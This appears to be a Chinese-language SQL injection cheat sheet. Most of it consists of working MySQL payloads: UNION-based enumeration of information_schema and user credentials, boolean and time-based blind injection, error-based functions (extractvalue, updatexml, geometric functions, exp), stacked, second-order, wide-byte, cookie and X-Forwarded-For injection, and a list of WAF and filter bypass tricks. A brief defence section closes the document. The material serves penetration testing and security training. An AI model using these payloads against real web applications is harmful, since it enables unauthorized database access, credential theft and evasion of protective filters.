SQL 注入总结
字数 2084 2025-08-27 12:33:37
SQL注入攻击全面指南
0x01 SQL注入概述
SQL注入是一种通过操纵应用程序输入来修改后台SQL查询语句,从而执行恶意SQL代码的攻击技术。攻击者利用应用程序对用户输入处理不当的漏洞,向数据库发送恶意查询,可能导致数据泄露、篡改或删除。
0x02 SQL注入分类
按变量类型分类
- 数字型注入:参数直接作为数字使用,无需引号
- 字符型注入:参数被引号包围,需要闭合引号
按HTTP提交方式分类
- GET注入:注入参数通过URL传递
- POST注入:注入参数通过HTTP请求体传递
- Cookie注入:注入参数存储在Cookie中
按注入方式分类
- 报错注入:利用数据库错误信息获取数据
- 盲注:
- 布尔盲注:根据页面返回的真假判断
- 时间盲注:根据响应时间判断
- UNION注入:使用UNION合并查询结果
- 宽字节注入:利用字符编码问题绕过过滤
0x03 数据库识别
识别后台数据库的方法:
- SQL Server:通常与Windows(IIS)和ASP/.NET搭配
- MySQL:通常与Apache和PHP搭配
- Oracle/MySQL:常用于Java应用
0x04 MySQL版本差异
MySQL 5.0及以上版本与5.0以下版本的主要区别在于INFORMATION_SCHEMA数据库的存在:
-
MySQL ≥5.0:包含
INFORMATION_SCHEMA系统数据库,存储所有数据库的元信息SCHEMATA:存储所有数据库基本信息TABLES:存储所有表信息COLUMNS:存储所有列信息
-
MySQL <5.0:无
INFORMATION_SCHEMA,需手工枚举爆破
0x05 手工注入流程
MySQL ≥5.0注入步骤
-
获取字段数
ORDER BY n /* 通过递增n值确定字段数 */ -
获取系统数据库名
SELECT null,null,schema_name FROM information_schema.schemata -
获取当前数据库名
SELECT null,null,...,database() -
获取数据库表名
SELECT null,null,...,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()或
SELECT null,null,...,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 -
获取表字段
SELECT null,null,...,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' -
获取字段值
SELECT null,group_concat(username,password) FROM users
MySQL <5.0注入方法
由于没有INFORMATION_SCHEMA,需使用盲注技术:
常用函数:
length(str):返回字符串长度substr(str,pos,len):截取字符串mid(str,pos,len):同substrascii(str):返回首字符ASCII值ord(str):转换字符为ASCII码if(a,b,c):条件判断函数
布尔盲注示例:
AND ascii(substr((SELECT database()),1,1))>64
时间盲注示例:
UNION SELECT if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
0x06 常用注入技术
1. 注释符
#--(注意有空格)--+/**/
2. UNION注入
id=-1 UNION SELECT 1,2,3 /* 获取字段 */
3. 布尔注入
id=1' substr(database(),1,1)='t' --+
4. 报错注入技术
a. floor()和rand()
UNION SELECT count(*),2,concat(':',(SELECT database()),':',floor(rand()*2)) as a FROM information_schema.tables GROUP BY a
b. extractvalue()
AND (extractvalue(1,concat(0x7e,(SELECT user()),0x7e)))
c. updatexml()
AND (updatexml(1,concat(0x7e,(SELECT user()),0x7e),1))
d. 几何函数
AND geometrycollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multipoint((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND polygon((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multipolygon((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND linestring((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multilinestring((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
e. exp()
AND exp(~(SELECT * FROM (SELECT user())a))
5. 时间注入
AND if(length(database())>1,sleep(5),1)
6. 堆叠查询注入
id=1';SELECT if(sub(user(),1,1)='r',sleep(3),1)%23
7. 二次注入
- 注册用户名为
test' - 访问
xxx.php?username=test'获取ID=22 - 访问
xxx.php?id=22触发SQL错误 - 构造
xxx.php?id=test' UNION SELECT 1,user(),3%23获取新ID=40 - 访问ID=40获取数据
8. 宽字节注入
条件:
- 参数被单引号包围且被转义
- 数据库编码为GBK
示例:
id=-1%DF' UNION SELECT 1,user(),3%23
%DF%5c在GBK中会被解释为"連"字,使单引号逃逸
9. Cookie注入
注入点位于Cookie中:
Cookie: id=1 AND 1=1
10. Base64注入
对参数进行Base64编码:
id=MSc%3d /* 1'的Base64编码 */
11. XFF注入
通过X-Forwarded-For头注入:
X-Forwarded-For: 127.0.0.1' SELECT 1,2,user()
0x07 绕过技术
- 大小写绕过:
UnIoN SeLeCt - 双写绕过:
UNIUNIONON SELESELECTCT - 编码绕过:
- URL全编码
- 十六进制:
0x61646D696E代替'admin'
- 内联注释:
/*!SELECT*/ - 关键字替换:
AND→&&OR→||NOT→!
- 逗号绕过:
substr(str FROM 1 FOR 1)代替substr(str,1,1)LIMIT 1 OFFSET 0代替LIMIT 0,1
- 比较符号绕过:
GREATEST(a,b)代替a>bBETWEEN a AND b
- 空格绕过:
- 使用括号:
SELECT(1)FROM(table)WHERE(1=1) - 使用加号:
SELECT+1+FROM+table
- 使用括号:
- 等价函数:
hex(),bin()代替ascii()concat_ws()代替group_concat()substring()代替substr(),mid()
- HTTP参数污染:
id=1 UNION SELECT+1&id=2,3+FROM+users+WHERE+id=1-- - 缓冲区溢出:
id=1 AND (SELECT 1)=(SELECT 0xAAAAAAAAAAAAAAAAAAAAA)+UNION+SELECT+1,2,version()...
防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对输入进行严格验证和过滤
- 使用Web应用防火墙(WAF)
- 定期更新和修补数据库系统
- 禁用错误信息显示
- 使用存储过程
- 对敏感数据进行加密
通过全面了解这些SQL注入技术和防御方法,安全人员可以更好地保护系统免受攻击,同时也能更有效地进行渗透测试和安全评估。